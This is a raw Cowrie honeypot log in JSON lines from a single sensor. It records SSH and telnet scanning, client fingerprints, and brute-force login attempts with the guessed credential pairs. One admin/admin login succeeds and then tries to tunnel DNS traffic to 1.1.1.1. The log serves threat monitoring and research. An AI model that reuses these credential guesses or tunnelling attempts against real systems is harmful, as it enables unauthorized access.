{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:59.440934Z","src_ip":"2.57.122.238","session":"9e9072c3e52a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:59.541744Z","src_ip":"2.57.122.238","session":"9e9072c3e52a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:26:59.843581Z","src_ip":"2.57.122.238","session":"9e9072c3e52a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:00.946651Z","src_ip":"2.57.122.238","session":"9e9072c3e52a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54566,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9f96847a56","protocol":"telnet","message":"New connection: 192.119.13.58:54566 (10.17.0.5:23) [session: 5b9f96847a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:10.195590Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":55398,"dst_ip":"159.203.135.109","dst_port":22,"session":"150c3c010de0","protocol":"ssh","message":"New connection: 43.130.16.4:55398 (159.203.135.109:22) [session: 150c3c010de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.008812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.013910Z","src_ip":"43.130.16.4","session":"150c3c010de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.083575Z","src_ip":"43.130.16.4","session":"150c3c010de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":35192,"dst_ip":"159.203.135.109","dst_port":22,"session":"649180f45db3","protocol":"ssh","message":"New connection: 43.153.39.191:35192 (159.203.135.109:22) [session: 649180f45db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.310642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.316596Z","src_ip":"43.153.39.191","session":"649180f45db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.384627Z","src_ip":"43.153.39.191","session":"649180f45db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pradeep","message":"login attempt [root/pradeep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.391981Z","src_ip":"43.130.16.4","session":"150c3c010de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:12.690527Z","src_ip":"43.153.39.191","session":"649180f45db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":53400,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9c2c379f325","protocol":"ssh","message":"New connection: 101.126.22.12:53400 (159.203.135.109:22) [session: e9c2c379f325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:13.263884Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:13.463830Z","src_ip":"43.130.16.4","session":"150c3c010de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:13.760978Z","src_ip":"43.153.39.191","session":"649180f45db3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:14.581994Z","src_ip":"101.126.22.12","session":"e9c2c379f325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:14.585818Z","src_ip":"101.126.22.12","session":"e9c2c379f325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3bot","message":"login attempt [root/ts3bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:15.468579Z","src_ip":"101.126.22.12","session":"e9c2c379f325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":42796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff21aedf3dd9","protocol":"ssh","message":"New connection: 103.15.222.183:42796 (10.17.0.5:22) [session: ff21aedf3dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:21.421653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:21.425778Z","src_ip":"103.15.222.183","session":"ff21aedf3dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:21.666973Z","src_ip":"103.15.222.183","session":"ff21aedf3dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00001111","message":"login attempt [root/00001111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:22.419378Z","src_ip":"103.15.222.183","session":"ff21aedf3dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:23.665610Z","src_ip":"103.15.222.183","session":"ff21aedf3dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23962,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f87e538ba7d","protocol":"ssh","message":"New connection: 87.251.64.176:23962 (10.17.0.5:22) [session: 0f87e538ba7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.463089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.467420Z","src_ip":"87.251.64.176","session":"0f87e538ba7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.563835Z","src_ip":"87.251.64.176","session":"0f87e538ba7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":47494,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ecaec13e78","protocol":"ssh","message":"New connection: 43.134.27.11:47494 (159.203.135.109:22) [session: 65ecaec13e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.701225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.711461Z","src_ip":"43.134.27.11","session":"65ecaec13e78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.855665Z","src_ip":"87.251.64.176","session":"0f87e538ba7d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.953981Z","session":"0f87e538ba7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:25.959516Z","src_ip":"43.134.27.11","session":"65ecaec13e78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:26.052548Z","src_ip":"87.251.64.176","session":"0f87e538ba7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:26.151508Z","src_ip":"87.251.64.176","session":"0f87e538ba7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!","message":"login attempt [root/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:26.973439Z","src_ip":"43.134.27.11","session":"65ecaec13e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:28.221742Z","src_ip":"43.134.27.11","session":"65ecaec13e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40624,"dst_ip":"159.203.135.109","dst_port":22,"session":"76e17945f25e","protocol":"ssh","message":"New connection: 62.133.63.178:40624 (159.203.135.109:22) [session: 76e17945f25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:33.368476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:33.372120Z","src_ip":"62.133.63.178","session":"76e17945f25e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:33.497007Z","src_ip":"62.133.63.178","session":"76e17945f25e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:33.970980Z","src_ip":"62.133.63.178","session":"76e17945f25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:35.101558Z","src_ip":"62.133.63.178","session":"76e17945f25e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.016966104507446,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:50.212468Z","src_ip":"192.119.13.58","session":"5b9f96847a56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47914,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c45b935349c","protocol":"telnet","message":"New connection: 192.119.13.58:47914 (10.17.0.5:23) [session: 7c45b935349c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:27:54.117104Z"}
